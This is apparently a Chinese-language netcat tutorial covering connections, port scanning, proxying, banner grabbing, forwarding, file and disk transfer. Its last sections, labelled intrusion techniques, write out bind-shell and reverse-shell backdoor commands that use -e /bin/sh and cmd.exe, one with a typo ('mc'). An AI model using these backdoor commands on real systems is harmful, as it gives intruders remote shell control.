基本使用
nc -nv 192.168.1.1 80
-n | 不进行域名解析 |
---|---|
-v | 打印详细信息 |
-w | 超时时间 |
nc -v -w 5 baidu.com 80 # 测试百度 80 端口是否开启,5 秒后无响应则超时失败
-l | 用作服务器 |
---|---|
-p | 指定端口号 |
-k | 保持监听端口持续开启 |
-u | 使用 UDP 协议 |
nc -lv -p 8080 # nc 会作为服务器监听本地 8080 端口,客户端第一次连接后端口会关闭
nc -nv -w 5 127.0.0.1 8080 # 连接监听端口
端口扫描
无论是 TCP 还是 UDP,协议规定的端口号范围都是:1 ~ 65535
-z | *开启 zero-I/O 模式 |
---|---|
*指的是 nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯。
nc -znv 127.0.0.1 1-1024 # 扫描 IP 地址为 127.0.0.1 的主机,端口范围从 1 到 1024
使用代理
-X | 代理类型 [5, 4, connect] |
---|---|
-x | 代理地址, 如 127.0.0.1:1080 |
-q | 让 nc 延时 N 秒再退出 |
nc -X 5 -x 127.0.0.1:1080 -q 3 -v google.com 443
设置别名
alias nc-proxy="nc -X 5 -x 127.0.0.1:1080" # 将其写入 shell 启动文件
之后可以使用:
nc-proxy -v google.com 443
信息收集(用 nc 探测服务器类型和软件版本)
echo "EXIT" | nc-proxy -vq 5 ssh.github.com 22 # 获取 SSH server 版本
隐匿性(用 nc 实现彻底无痕的 Web 访问)
*使用 nc 抓取页面,不会留下浏览器和操作系统信息。
echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-proxy -vq 5 baidu.com 80
可以使用 > 将其重定向到 HTML 文件中,方便阅读。
网络配置(基于 nc 的端口转发)
1. 创建命名管道
2. 同时启动两个 nc
nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe
其作用是将本机 1234 端口的流量转发至本地 5678 端口。*-k 让服务器端口保持持续监听
(网络配置)基于 nc 的代理转发
ssh -o "ProxyCommand=nc -X 5 -x 127.0.0.1:1080 %h %p" root@xxx.xxx.xxx.xxx -p 22
*ssh 不支持 socks 代理,所以用 nc 转发
(系统管理)用 nc 传输文件
假设你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2。
先在接收端 B 运行如下命令(xxx 为端口号):nc -l -p xxx > file2
然后再发送端 A 运行如下命令:nc x.x.x.x xxx < file1
(系统管理)用 nc 远程备份整个磁盘
通过 dd 命令,你可以把整个硬盘或某个分区 dump 成一个文件。
在本示例中,并不需要真的把 dd 命令的输出保存为文件,而是把 dd 的输出通过管道符 | 重定向给本地的 nc,然后让本机的 nc 发送到另一台主机的 nc。
假设你要把 A 主机的 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。
先在接收端 B 运行如下命令:nc -l -p xxx | dd of=/dev/sdb
然后在发送端 A 运行如下命令:
dd if=/dev/sda | nc x.x.x.x xxx
(入侵手法)用 nc 开启被动连接型后门
-e | 可执行文件的路径 |
---|---|
设置该选项之后,当处于监听状态的 nc 接受到某个连接,会启动这个可执行文件并得到某个进程,nc 会把该进程的标准输入输出与网络通讯对接。PS:这个进程通常是 Windows 中的 cmd.exe 或 Linux 中的 /bin/sh
Windows:nc.exe -l -p xxx -e cmd.exe
Linux:nc -l -p xxx -e /bin/sh
OpenBSD 去掉了 -e 这个选项,但是还是可以用间接的方式达到同样的效果。另外原版 nc 依然有这个选项,nc 的很多其他变种,也依然有这个选项。
(入侵手法)用 nc 开启主动连接型后门
此时受害者的 nc 是客户端,入侵者的 nc 作为服务端。
入侵者开启:nc -lk -p xxx
Windows:nc.exe -e cmd.exe x.x.x.x xxx
Linux:mc -e /bin/sh x.x.x.x xxx